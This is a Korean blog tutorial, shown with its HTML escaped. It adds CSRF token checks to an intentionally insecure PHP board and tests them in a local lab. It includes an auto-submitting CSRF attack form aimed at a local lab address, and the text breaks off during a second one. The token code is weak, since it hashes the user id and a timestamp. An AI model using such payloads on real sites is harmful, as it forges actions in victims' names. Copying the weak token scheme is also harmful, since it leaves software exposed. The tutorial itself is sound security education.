&lt;p data-ke-size=&quot;size16&quot;&gt;* 공통 페이지(CSRF Token 발급 함수 생성 후 일괄 적용)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- common.php&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- index.php&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* Form Page&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- write.php (작성)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- modify.php (수정)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- view.php (삭제)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* Action Page&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- action.php&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; common.php 마지막 부분에 csrf token 함수 생성 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738832501009&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	function csrf_token_create() {
		$time = time();
		$id = $_SESSION[&quot;id&quot;];
		$csrf_token = sha1($id.$time);
		
		return $csrf_token;
	}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성/수정/삭제 등의 코드들이 index.php 에서 호출되고 있으므로 index.php 에서 일괄적용이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(웹 환경마다 다름)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; index.php 에서 csrf token 함수 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738833087041&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  @session_start();
  include_once(&quot;./common.php&quot;);
  $page = $_GET[&quot;page&quot;];

  if(empty($page)) {
    $page = &quot;list.php&quot;;
  } else if ($page == &quot;mypage&quot;) {
    $page = &quot;mypage.php&quot;;
  } else if ($page == &quot;login&quot;) {
    $page = &quot;login.php&quot;;
  } else if ($page == &quot;join&quot;) {
    $page = &quot;join.php&quot;;
  } else if ($page == &quot;pingcheck&quot;) {
    $page = &quot;pingcheck.php&quot;;
  } else if ($page == &quot;xmlparser&quot;) {
    $page = &quot;xmlparser.php&quot;;
  } else if ($page == &quot;write&quot;) {
    $csrf_token = csrf_token_create();
    $page = &quot;write.php&quot;;
  } else if ($page == &quot;view&quot;) {
    $page = &quot;view.php&quot;;
  } else if ($page == &quot;modify&quot;) {
    $page = &quot;modify.php&quot;;
  } else if ($page == &quot;auth&quot;) {
    $page = &quot;auth.php&quot;;
  } else if ($page == &quot;error&quot;) {
    $page = &quot;error.php&quot;;
  } else {
    echo &quot;&amp;lt;script&amp;gt;location.href='index.php?page=error&amp;amp;value={$page}';&amp;lt;/script&amp;gt;&quot;;
  }

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;write.php 의 hidden 값에 csrf token 을 넣는다.&lt;/p&gt;
&lt;pre id=&quot;code_1738833370137&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    &amp;lt;div class=&quot;pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center&quot;&amp;gt;
      &amp;lt;h1 class=&quot;display-4&quot;&amp;gt;Write Page&amp;lt;/h1&amp;gt;
      &amp;lt;hr&amp;gt;
    &amp;lt;/div&amp;gt;
    
    &amp;lt;div class=&quot;container&quot;&amp;gt;
		&amp;lt;form action=&quot;action.php&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
		  &amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label&amp;gt;Title&amp;lt;/label&amp;gt;
			&amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;title&quot; placeholder=&quot;Title Input&quot;&amp;gt;
		  &amp;lt;/div&amp;gt;
		  &amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label for=&quot;exampleInputPassword1&quot;&amp;gt;Password&amp;lt;/label&amp;gt;
			&amp;lt;input type=&quot;password&quot; class=&quot;form-control&quot; name=&quot;password&quot; placeholder=&quot;Password Input&quot;&amp;gt;
		  &amp;lt;/div&amp;gt;
		  &amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label for=&quot;exampleInputPassword1&quot;&amp;gt;Contents&amp;lt;/label&amp;gt;
			&amp;lt;textarea class=&quot;form-control&quot; name=&quot;content&quot; rows=&quot;5&quot; placeholder=&quot;Contents Input&quot;&amp;gt;&amp;lt;/textarea&amp;gt;
      &amp;lt;/div&amp;gt;
      &amp;lt;div class=&quot;form-group&quot;&amp;gt;
        &amp;lt;label for=&quot;exampleInputPassword1&quot;&amp;gt;File&amp;lt;/label&amp;gt;
        &amp;lt;input type=&quot;file&quot; class=&quot;form-control&quot; name=&quot;userfile&quot;&amp;gt;
		  &amp;lt;/div&amp;gt;
      &amp;lt;div class=&quot;custom-control custom-checkbox&quot;&amp;gt;
        &amp;lt;input type=&quot;checkbox&quot; class=&quot;custom-control-input&quot; id=&quot;customCheck1&quot; name=&quot;secret&quot;&amp;gt;
        &amp;lt;label class=&quot;custom-control-label&quot; for=&quot;customCheck1&quot;&amp;gt;Secret Post&amp;lt;/label&amp;gt;
      &amp;lt;/div&amp;gt;
		&amp;lt;div class=&quot;text-right&quot;&amp;gt;
			&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;&amp;lt;?=$csrf_token?&amp;gt;&quot;&amp;gt;
			&amp;lt;input type=&quot;hidden&quot; name=&quot;mode&quot; value=&quot;write&quot;&amp;gt;
			&amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-outline-secondary&quot;&amp;gt;Write&amp;lt;/button&amp;gt;
			&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-outline-danger&quot; onclick=&quot;history.back(-1);&quot;&amp;gt;Back&amp;lt;/button&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;/form&amp;gt;
    &amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;write.php 에 접근하게되는 경우 csrf token 함수를 호출하게 되고 hidden 에 csrf token 이 대입된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 PC의 관리자 계정으로 로그인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 작성 시 write.php 로 접근하게 되는데, 개발자 도구에서 csrf_token 을 검색하면 아래와 같이 확인된다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1787&quot; data-origin-height=&quot;856&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkAQsz/btsMaBllnzb/CSB17RZdPMQf7ponUVLzfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkAQsz/btsMaBllnzb/CSB17RZdPMQf7ponUVLzfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkAQsz/btsMaBllnzb/CSB17RZdPMQf7ponUVLzfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkAQsz%2FbtsMaBllnzb%2FCSB17RZdPMQf7ponUVLzfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1787&quot; height=&quot;856&quot; data-origin-width=&quot;1787&quot; data-origin-height=&quot;856&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 상태는 폼 페이지에서 파라미터에 Token 을 넣어준 상태이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션에도 Token 을 넣어줘야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인한 사용자일 경우에 세션에 CSRF 토큰을 발급하는 로직을 추가한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; common.php 에 세션에 CSRF 토큰 발급 로직 추가 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738834341170&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	function csrf_token_create() {

		if(!empty($_SESSION[&quot;id&quot;])) {
			$time = time();
			$id = $_SESSION[&quot;id&quot;];
			$csrf_token = sha1($id.$time);
			$_SESSION[&quot;csrf_token&quot;] = $csrf_token;
		} else {
			$csrf_token = &quot;&quot;;
		}

		return $csrf_token;
	}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 토큰을 검증하는 액션 페이지에 적용을 해줘야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action.php 에 게시글 작성, 수정, 삭제에 공통적으로 적용을 해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 최상단 부분&amp;nbsp; - write, modify, delete 에 각각 적용하기 보다는 최상단에서 일괄 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738834723802&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	@session_start();
	header(&quot;Content-Type: text/html; charset=UTF-8&quot;);
	include ( './common.php' );

	# CSRF Token 검증 로직
	$csrf_token_session = $_SESSION[&quot;csrf_token&quot;];
	$csrf_token_param = $_REQUEST[&quot;csrf_token&quot;];

	if(empty($csrf_token_session) &amp;amp;&amp;amp; empty($csrf_token_param)) {
		echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
		exit();
	} else {
		if($csrf_token_param != $csrf_token_session) {
			echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
	}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션과 파라미터에 csrf token 을 발급하고, 세션과 파라미터의 csrf 토큰이 비어있다면 비정상적인 접근으로 판단한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션과 파라미터의 csrf 토큰이 동일하지 않다면 비정상적인 접근으로 판단한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 에서 해커 계정으로 접속 후&amp;nbsp; 무단으로 글을 작성하는 CSRF 공격 페이로드를 담은 게시글을 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 페이로드&lt;/p&gt;
&lt;pre id=&quot;code_1738835491979&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;body onload=&quot;document.forms[0].submit()&quot;&amp;gt;
&amp;lt;form action=&quot;http://192.168.56.1/insecure_website/action.php&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;title&quot; value=&quot;해커가 무단으로 작성한 게시글&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;test&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;content&quot; value=&quot;해커가 작성함&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;mode&quot; value=&quot;write&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;658&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vLSM9/btsL9bOYHcm/X31lfkLBNFbLPoGbYax8q1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vLSM9/btsL9bOYHcm/X31lfkLBNFbLPoGbYax8q1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vLSM9/btsL9bOYHcm/X31lfkLBNFbLPoGbYax8q1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvLSM9%2FbtsL9bOYHcm%2FX31lfkLBNFbLPoGbYax8q1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;807&quot; height=&quot;658&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;658&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 계정에서 해당 게시글을 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;886&quot; data-origin-height=&quot;466&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cr3V5W/btsL92Ky32s/Q7366xK3AV9dKMGQuumUD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cr3V5W/btsL92Ky32s/Q7366xK3AV9dKMGQuumUD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cr3V5W/btsL92Ky32s/Q7366xK3AV9dKMGQuumUD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcr3V5W%2FbtsL92Ky32s%2FQ7366xK3AV9dKMGQuumUD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;886&quot; height=&quot;466&quot; data-origin-width=&quot;886&quot; data-origin-height=&quot;466&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;액션 페이지로 리다이렉션 되지만 정상적인 접근이 아니라는 메시지가 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(리다이렉션되는 것은 막기 위해서는 XSS 공격을 방어하면 된다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;260&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cGEiV7/btsMaecXsTV/iL9Dzhji0BePLhCaGIWzwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cGEiV7/btsMaecXsTV/iL9Dzhji0BePLhCaGIWzwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cGEiV7/btsMaecXsTV/iL9Dzhji0BePLhCaGIWzwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcGEiV7%2FbtsMaecXsTV%2FiL9Dzhji0BePLhCaGIWzwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;881&quot; height=&quot;260&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;260&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에러 메시지가 발생하면서 게시글도 작성되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 수정(modify.php)도 동일하게 hidden 값에 csrf token 을 넣는다.&lt;/p&gt;
&lt;pre id=&quot;code_1738836764452&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	include_once(&quot;./common.php&quot;);

	$db_conn = mysql_conn();
	$idx = $_GET[&quot;idx&quot;];

	if(!is_numeric($idx)) {
		echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
		exit();
	}

	$query = &quot;select * from {$tb_name} where idx={$idx}&quot;;
  
	$result = $db_conn-&amp;gt;query($query);
	$num = $result-&amp;gt;num_rows;
?&amp;gt;
    &amp;lt;div class=&quot;pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center&quot;&amp;gt;
      &amp;lt;h1 class=&quot;display-4&quot;&amp;gt;Modify Page&amp;lt;/h1&amp;gt;
      &amp;lt;hr&amp;gt;
    &amp;lt;/div&amp;gt;
	&amp;lt;?
	if($num != 0) {
	  $row = $result-&amp;gt;fetch_assoc();
	?&amp;gt;
    &amp;lt;div class=&quot;container&quot;&amp;gt;
		&amp;lt;form action=&quot;action.php&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
		  &amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label&amp;gt;Title&amp;lt;/label&amp;gt;
			&amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;title&quot; placeholder=&quot;Title Input&quot; value=&quot;&amp;lt;?=$row[&quot;title&quot;]?&amp;gt;&quot;&amp;gt;
		  &amp;lt;/div&amp;gt;
		  &amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label for=&quot;exampleInputPassword1&quot;&amp;gt;Password&amp;lt;/label&amp;gt;
			&amp;lt;input type=&quot;password&quot; class=&quot;form-control&quot; name=&quot;password&quot; placeholder=&quot;Password Input&quot;&amp;gt;
		  &amp;lt;/div&amp;gt;
		  &amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label for=&quot;exampleInputPassword1&quot;&amp;gt;Contents&amp;lt;/label&amp;gt;
			&amp;lt;textarea class=&quot;form-control&quot; name=&quot;content&quot; rows=&quot;5&quot; placeholder=&quot;Contents Input&quot;&amp;gt;&amp;lt;?=$row[&quot;content&quot;]?&amp;gt;&amp;lt;/textarea&amp;gt;
      &amp;lt;/div&amp;gt;
		  &amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label for=&quot;exampleInputPassword1&quot;&amp;gt;File&amp;lt;/label&amp;gt;
      &amp;lt;? if(!empty($row[&quot;file&quot;])) { ?&amp;gt;
      &amp;lt;p class=&quot;font-italic&quot;&amp;gt;[Attach]&amp;amp;nbsp;&amp;lt;?=$row[&quot;file&quot;]?&amp;gt;&amp;lt;/p&amp;gt;
      &amp;lt;? } ?&amp;gt;
      &amp;lt;input type=&quot;hidden&quot; class=&quot;form-control&quot; name=&quot;oldfile&quot; value=&quot;&amp;lt;?=$row[&quot;file&quot;]?&amp;gt;&quot;&amp;gt;
			&amp;lt;input type=&quot;file&quot; class=&quot;form-control&quot; name=&quot;userfile&quot;&amp;gt;
		  &amp;lt;/div&amp;gt;
      &amp;lt;div class=&quot;custom-control custom-checkbox&quot;&amp;gt;
        &amp;lt;input type=&quot;checkbox&quot; class=&quot;custom-control-input&quot; id=&quot;customCheck1&quot; name=&quot;secret&quot; &amp;lt;? if($row[&quot;secret&quot;]==&quot;y&quot;) echo &quot;checked&quot;; ?&amp;gt;&amp;gt;
        &amp;lt;label class=&quot;custom-control-label&quot; for=&quot;customCheck1&quot;&amp;gt;Secret Post&amp;lt;/label&amp;gt;
      &amp;lt;/div&amp;gt;
		&amp;lt;div class=&quot;text-right&quot;&amp;gt;
			&amp;lt;input type=&quot;hidden&quot; name=&quot;idx&quot; value=&quot;&amp;lt;?=$row[&quot;idx&quot;]?&amp;gt;&quot;&amp;gt;
			&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;&amp;lt;?=$csrf_token?&amp;gt;&quot;&amp;gt;
			&amp;lt;input type=&quot;hidden&quot; name=&quot;mode&quot; value=&quot;modify&quot;&amp;gt;
			&amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-outline-secondary&quot;&amp;gt;Modify&amp;lt;/button&amp;gt;
			&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-outline-danger&quot; onclick=&quot;history.back(-1);&quot;&amp;gt;Back&amp;lt;/button&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;/form&amp;gt;
    &amp;lt;/div&amp;gt;
	&amp;lt;?
	} else {
	?&amp;gt;
		&amp;lt;script&amp;gt;alert(&quot;존재하지 않는 게시글 입니다.&quot;);history.back(-1);&amp;lt;/script&amp;gt;
	&amp;lt;?
	}
	?&amp;gt;
&amp;lt;?
	$db_conn-&amp;gt;close();
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;index.php 의 modify.php 부분에도 csrf token 함수를 적용시켜준다.&lt;/p&gt;
&lt;pre id=&quot;code_1738836842676&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  @session_start();
  include_once(&quot;./common.php&quot;);
  $page = $_GET[&quot;page&quot;];

  if(empty($page)) {
    $page = &quot;list.php&quot;;
  } else if ($page == &quot;mypage&quot;) {
    $page = &quot;mypage.php&quot;;
  } else if ($page == &quot;login&quot;) {
    $page = &quot;login.php&quot;;
  } else if ($page == &quot;join&quot;) {
    $page = &quot;join.php&quot;;
  } else if ($page == &quot;pingcheck&quot;) {
    $page = &quot;pingcheck.php&quot;;
  } else if ($page == &quot;xmlparser&quot;) {
    $page = &quot;xmlparser.php&quot;;
  } else if ($page == &quot;write&quot;) {
    $csrf_token = csrf_token_create();
    $page = &quot;write.php&quot;;
  } else if ($page == &quot;view&quot;) {
    $page = &quot;view.php&quot;;
  } else if ($page == &quot;modify&quot;) {
    $csrf_token = csrf_token_create();
    $page = &quot;modify.php&quot;;
  } else if ($page == &quot;auth&quot;) {
    $page = &quot;auth.php&quot;;
  } else if ($page == &quot;error&quot;) {
    $page = &quot;error.php&quot;;
  } else {
    echo &quot;&amp;lt;script&amp;gt;location.href='index.php?page=error&amp;amp;value={$page}';&amp;lt;/script&amp;gt;&quot;;
  }

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 PC의 관리자 계정에서 게시글 작성 후 수정 부분을 확인해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1788&quot; data-origin-height=&quot;847&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcTzZe/btsL9rjJfUt/lzbKzVfqzlYBduAe2INhPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcTzZe/btsL9rjJfUt/lzbKzVfqzlYBduAe2INhPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcTzZe/btsL9rjJfUt/lzbKzVfqzlYBduAe2INhPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcTzZe%2FbtsL9rjJfUt%2FlzbKzVfqzlYBduAe2INhPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1788&quot; height=&quot;847&quot; data-origin-width=&quot;1788&quot; data-origin-height=&quot;847&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 CSRF Token 이 hidden 에 존재하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 수정도 정상적으로 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;486&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnIgBp/btsL9tooMEv/jFyBMAA6RnfKxedEk5AcqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnIgBp/btsL9tooMEv/jFyBMAA6RnfKxedEk5AcqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnIgBp/btsL9tooMEv/jFyBMAA6RnfKxedEk5AcqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnIgBp%2FbtsL9tooMEv%2FjFyBMAA6RnfKxedEk5AcqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;888&quot; height=&quot;486&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;486&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;VMWare 에서 해커 계정으로 접속 후&amp;nbsp; 무단으로 글을 수정하는 CSRF 공격 페이로드를 담은 게시글을 작성한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;공격 페이로드&lt;/p&gt;
&lt;pre id=&quot;code_1738837181772&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;body onload=&quot;document.forms[0].submit()&quot;&amp;gt;
